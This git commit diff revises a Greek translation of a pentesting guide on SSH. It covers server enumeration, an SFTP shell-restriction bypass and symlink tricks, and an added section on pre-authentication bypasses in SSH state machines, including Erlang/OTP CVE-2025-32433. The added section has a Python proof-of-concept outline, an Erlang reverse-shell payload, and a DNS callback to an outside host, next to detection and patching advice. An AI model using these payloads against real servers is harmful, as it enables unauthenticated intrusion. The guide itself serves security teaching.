Translated ['src/network-services-pentesting/pentesting-ssh.md'] to el

This commit is contained in:
Translator 2025-08-14 00:19:49 +00:00
parent 107d22165c
commit 60ae26788e

View File

@ -12,15 +12,15 @@
```
**SSH servers:**
- [openSSH](http://www.openssh.org) OpenBSD SSH, που περιλαμβάνεται σε BSD, διανομές Linux και Windows από τα Windows 10
- [openSSH](http://www.openssh.org) OpenBSD SSH, που περιλαμβάνεται σε διανομές BSD, Linux και Windows από τα Windows 10
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) Υλοποίηση SSH για περιβάλλοντα με χαμηλή μνήμη και πόρους επεξεργαστή, που περιλαμβάνεται στο OpenWrt
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) Υλοποίηση SSH για Windows, ο πελάτης χρησιμοποιείται συνήθως αλλά η χρήση του διακομιστή είναι σπανιότερη
- [CopSSH](https://www.itefix.net/copssh) Υλοποίηση του OpenSSH για Windows
- [CopSSH](https://www.itefix.net/copssh) υλοποίηση του OpenSSH για Windows
**SSH libraries (implementing server-side):**
- [libssh](https://www.libssh.org) πολυπλατφορμική βιβλιοθήκη C που υλοποιεί το πρωτόκολλο SSHv2 με bindings σε [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) και [R](https://github.com/ropensci/ssh); χρησιμοποιείται από το KDE για sftp και από το GitHub για την υποδομή git SSH
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) Βιβλιοθήκη διακομιστή SSHv2 γραμμένη σε ANSI C και στοχευμένη για ενσωματωμένα, RTOS και περιορισμένα περιβάλλοντα πόρων
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) βιβλιοθήκη διακομιστή SSHv2 γραμμένη σε ANSI C και στοχευμένη για ενσωματωμένα, RTOS και περιορισμένα περιβάλλοντα πόρων
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) Η βιβλιοθήκη Apache SSHD java βασίζεται στο Apache MINA
- [paramiko](https://github.com/paramiko/paramiko) Βιβλιοθήκη πρωτοκόλλου Python SSHv2
@ -32,14 +32,14 @@ nc -vn <IP> 22
```
### Automated ssh-audit
ssh-audit είναι ένα εργαλείο για την επιθεώρηση της διαμόρφωσης του ssh server & client.
ssh-audit είναι ένα εργαλείο για τον έλεγχο διαμόρφωσης του ssh server & client.
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) είναι ένα ενημερωμένο fork από [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)
**Χαρακτηριστικά:**
- Υποστήριξη πρωτοκόλλου SSH1 και SSH2;
- ανάλυση της διαμόρφωσης του SSH client;
- ανάλυση διαμόρφωσης SSH client;
- λήψη banner, αναγνώριση συσκευής ή λογισμικού και λειτουργικού συστήματος, ανίχνευση συμπίεσης;
- συλλογή αλγορίθμων ανταλλαγής κλειδιών, host-key, κρυπτογράφησης και κωδικών αυθεντικοποίησης μηνυμάτων;
- έξοδος πληροφοριών αλγορίθμου (διαθέσιμο από, αφαιρεθεί/απενεργοποιηθεί, μη ασφαλές/αδύναμο/παλαιό, κ.λπ.);
@ -197,7 +197,7 @@ It's common for SSH servers to allow root user login by default, which poses a s
### SFTP command execution
Υπάρχει μια κοινή παράλειψη που συμβαίνει με τις ρυθμίσεις SFTP, όπου οι διαχειριστές σκοπεύουν οι χρήστες να ανταλλάσσουν αρχεία χωρίς να επιτρέπουν την απομακρυσμένη πρόσβαση στο shell. Παρά την ρύθμιση χρηστών με μη διαδραστικά shell (π.χ. `/usr/bin/nologin`) και περιορίζοντάς τους σε έναν συγκεκριμένο φάκελο, παραμένει ένα κενό ασφαλείας. **Οι χρήστες μπορούν να παρακάμψουν αυτούς τους περιορισμούς** ζητώντας την εκτέλεση μιας εντολής (όπως `/bin/bash`) αμέσως μετά την είσοδό τους, πριν αναλάβει το καθορισμένο μη διαδραστικό shell τους. Αυτό επιτρέπει την μη εξουσιοδοτημένη εκτέλεση εντολών, υπονομεύοντας τα προγραμματισμένα μέτρα ασφαλείας.
There is a common oversight occurs with SFTP setups, where administrators intend for users to exchange files without enabling remote shell access. Despite setting users with non-interactive shells (e.g., `/usr/bin/nologin`) and confining them to a specific directory, a security loophole remains. **Users can circumvent these restrictions** by requesting the execution of a command (like `/bin/bash`) immediately after logging in, before their designated non-interactive shell takes over. This allows for unauthorized command execution, undermining the intended security measures.
[Example from here](https://community.turgensec.com/ssh-hacking-guide/):
```bash
@ -242,7 +242,7 @@ sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compro
```
### SFTP Symlink
Το **sftp** έχει την εντολή "**symlink**". Επομένως, αν έχετε **δικαιώματα εγγραφής** σε κάποιο φάκελο, μπορείτε να δημιουργήσετε **symlinks** από **άλλους φακέλους/αρχεία**. Καθώς πιθανότατα είστε **παγιδευμένοι** μέσα σε ένα chroot, αυτό **δεν θα είναι ιδιαίτερα χρήσιμο** για εσάς, αλλά, αν μπορείτε να **πρόσβαση** στο δημιουργημένο **symlink** από μια **υπηρεσία χωρίς chroot** (για παράδειγμα, αν μπορείτε να αποκτήσετε πρόσβαση στο symlink από το διαδίκτυο), θα μπορούσατε να **ανοίξετε τα symlinked αρχεία μέσω του διαδικτύου**.
Η **sftp** έχει την εντολή "**symlink**". Επομένως, αν έχετε **δικαιώματα εγγραφής** σε κάποιον φάκελο, μπορείτε να δημιουργήσετε **symlinks** από **άλλους φακέλους/αρχεία**. Καθώς πιθανότατα είστε **παγιδευμένοι** μέσα σε ένα chroot, αυτό **δεν θα είναι ιδιαίτερα χρήσιμο** για εσάς, αλλά, αν μπορείτε να **πρόσβαση** στο δημιουργημένο **symlink** από μια **υπηρεσία χωρίς chroot** (για παράδειγμα, αν μπορείτε να αποκτήσετε πρόσβαση στο symlink από το διαδίκτυο), θα μπορούσατε να **ανοίξετε τα symlinked αρχεία μέσω του διαδικτύου**.
Για παράδειγμα, για να δημιουργήσετε ένα **symlink** από ένα νέο αρχείο **"**_**froot**_**" σε "**_**/**_**"**:
```bash
@ -259,7 +259,7 @@ OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive
```
Για παράδειγμα, αν έχει οριστεί ένα όριο αποτυχίας αυθεντικοποίησης και δεν έχετε ποτέ την ευκαιρία να φτάσετε στη μέθοδο κωδικού πρόσβασης, μπορείτε να χρησιμοποιήσετε την επιλογή `PreferredAuthentications` για να αναγκάσετε τη χρήση αυτής της μεθόδου.
Για παράδειγμα, αν έχει οριστεί ένα όριο αποτυχιών αυθεντικοποίησης και δεν έχετε ποτέ την ευκαιρία να φτάσετε στη μέθοδο κωδικού πρόσβασης, μπορείτε να χρησιμοποιήσετε την επιλογή `PreferredAuthentications` για να αναγκάσετε τη χρήση αυτής της μεθόδου.
```bash
ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
@ -281,10 +281,66 @@ id_rsa
- [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
- [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2)
## Authentication State-Machine Bypass (Pre-Auth RCE)
Πολλές υλοποιήσεις διακομιστή SSH περιέχουν λογικά σφάλματα στην **μηχανή καταστάσεων αυθεντικοποίησης** που επιτρέπουν σε έναν πελάτη να στείλει *μήνυμα πρωτοκόλλου σύνδεσης* **πριν** ολοκληρωθεί η αυθεντικοποίηση. Επειδή ο διακομιστής αποτυγχάνει να επαληθεύσει ότι βρίσκεται στην σωστή κατάσταση, αυτά τα μηνύματα διαχειρίζονται σαν να ήταν ο χρήστης πλήρως αυθεντικοποιημένος, οδηγώντας σε **μη αυθεντικοποιημένη εκτέλεση κώδικα** ή δημιουργία συνεδρίας.
Σε επίπεδο πρωτοκόλλου, οποιοδήποτε μήνυμα SSH με _κωδικό μηνύματος_ **≥ 80** (0x50) ανήκει στο *επίπεδο σύνδεσης* (RFC 4254) και πρέπει να **γίνεται αποδεκτό μόνο μετά από επιτυχή αυθεντικοποίηση** (RFC 4252). Εάν ο διακομιστής επεξεργαστεί ένα από αυτά τα μηνύματα ενώ είναι ακόμα στην κατάσταση *SSH_AUTHENTICATION*, ο επιτιθέμενος μπορεί αμέσως να δημιουργήσει ένα κανάλι και να ζητήσει ενέργειες όπως εκτέλεση εντολών, προώθηση θυρών, κ.λπ.
### Generic Exploitation Steps
1. Establish a TCP connection to the targets SSH port (commonly 22, but other services may expose Erlang/OTP on 2022, 830, 2222…).
2. Craft a raw SSH packet:
* 4-byte **packet_length** (big-endian)
* 1-byte **message_code** ≥ 80 (e.g. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
* Payload that will be understood by the chosen message type
3. Send the packet(s) **before completing any authentication step**.
4. Interact with the server APIs that are now exposed _pre-auth_ (command execution, port forwarding, file-system access, …).
Python proof-of-concept outline:
```python
import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands
```
Στην πράξη, θα χρειαστεί να εκτελέσετε (ή να παραλείψετε) την ανταλλαγή κλειδιών σύμφωνα με την υλοποίηση του στόχου, αλλά **δεν εκτελείται ποτέ καμία αυθεντικοποίηση**.
---
### Erlang/OTP `sshd` (CVE-2025-32433)
* **Επηρεαζόμενες εκδόσεις:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
* **Αιτία:** ο εγγενής SSH daemon του Erlang δεν επικυρώνει την τρέχουσα κατάσταση πριν καλέσει το `ssh_connection:handle_msg/2`. Επομένως, οποιοδήποτε πακέτο με κωδικό μηνύματος 80-255 φτάνει στον χειριστή σύνδεσης ενώ η συνεδρία είναι ακόμα στην κατάσταση *userauth*.
* **Επίπτωση:** μη αυθεντικοποιημένη **εκτέλεση απομακρυσμένου κώδικα** (ο daemon συνήθως εκτελείται ως **root** σε ενσωματωμένες/OT συσκευές).
Παράδειγμα payload που δημιουργεί ένα reverse shell δεμένο με το κανάλι που ελέγχεται από τον επιτιθέμενο:
```erlang
% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
```
Blind RCE / out-of-band detection μπορεί να πραγματοποιηθεί μέσω DNS:
```erlang
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
```
Detection & Mitigation:
* Εξετάστε την κίνηση SSH: **απορρίψτε οποιοδήποτε πακέτο με κωδικό μηνύματος ≥ 80 που παρατηρείται πριν από την αυθεντικοποίηση**.
* Αναβαθμίστε το Erlang/OTP σε **27.3.3 / 26.2.5.11 / 25.3.2.20** ή νεότερη έκδοση.
* Περιορίστε την έκθεση των θυρών διαχείρισης (22/2022/830/2222) ειδικά σε εξοπλισμό OT.
---
### Other Implementations Affected
* **libssh** 0.6 0.8 (server side) **CVE-2018-10933** δέχεται ένα μη αυθεντικοποιημένο `SSH_MSG_USERAUTH_SUCCESS` που αποστέλλεται από τον πελάτη, αποτελεσματικά το αντίστροφο λογικό σφάλμα.
Το κοινό μάθημα είναι ότι οποιαδήποτε παρέκκλιση από τις μεταβάσεις κατάστασης που ορίζονται από το RFC μπορεί να είναι μοιραία. Όταν αναθεωρείτε ή fuzzing SSH daemons, δώστε ιδιαίτερη προσοχή στην *επιβολή μηχανής κατάστασης*.
## References
- Μπορείτε να βρείτε ενδιαφέροντες οδηγούς για το πώς να σκληρύνετε το SSH στο [https://www.ssh-audit.com/hardening_guides.html](https://www.ssh-audit.com/hardening_guides.html)
- [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
- [Unit 42 Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)
- [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html)
- [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide)
## HackTricks Automatic Commands
```